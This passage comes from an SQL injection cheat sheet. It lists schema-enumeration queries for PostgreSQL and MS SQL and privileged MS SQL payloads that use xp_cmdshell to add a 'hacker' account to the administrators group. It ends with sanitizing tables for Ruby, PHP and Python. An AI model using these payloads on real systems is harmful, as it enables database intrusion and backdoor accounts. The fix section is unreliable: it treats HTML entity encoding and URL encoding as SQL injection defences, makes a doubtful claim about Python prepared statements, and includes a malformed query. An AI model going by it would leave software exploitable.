  SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0

  SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0

Microsoft SQL Syntax Reference

• Handy functions, statements, and Environment Variables:

 database()
 ascii()
 substring()
 WAIT ... FOR DELAY
 @@version

String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL Schema Mapping (Unprivileged)

  SELECT top 1 TABLE_NAME FROM (SELECT top 1 TABLE_NAME FROM information_schema.columns WHERE table_catalog=@@DATABASE GROUP BY TABLE_NAME ORDER BY TABLE_NAME DESC) sq 
    GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC

  SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' 
    GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC

Privileged Microsoft SQL Injection

• Command Execution:

;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--

• Obtaining database authentication credentials:

SELECT * FROM sysobjects WHERE type='U'

Patching SQL Injection Vulnerabilities

• Ruby input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i

• PHP input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

• Python input sanitizing:

Python2.6 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions <= 2.4 that require manual sanitizing.

XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)

Further Reading

Related Content:

• SQL Backdoors
• MySQL
• Programming language specifications: Perl,Python,C,C++

Related Tools:

• MySql 5 Enumeration
• Wordpress Fingerprinting

External Links:

• MySQL 3/4 Reference Manual
• MySQL 5 Reference Manual
• MySQL 6 Reference Manual

• Postgres 7 Reference Manual
• Postgres 8 Reference Manual
• Postgres 9 Reference Manual

• MSDN SQL Server Resources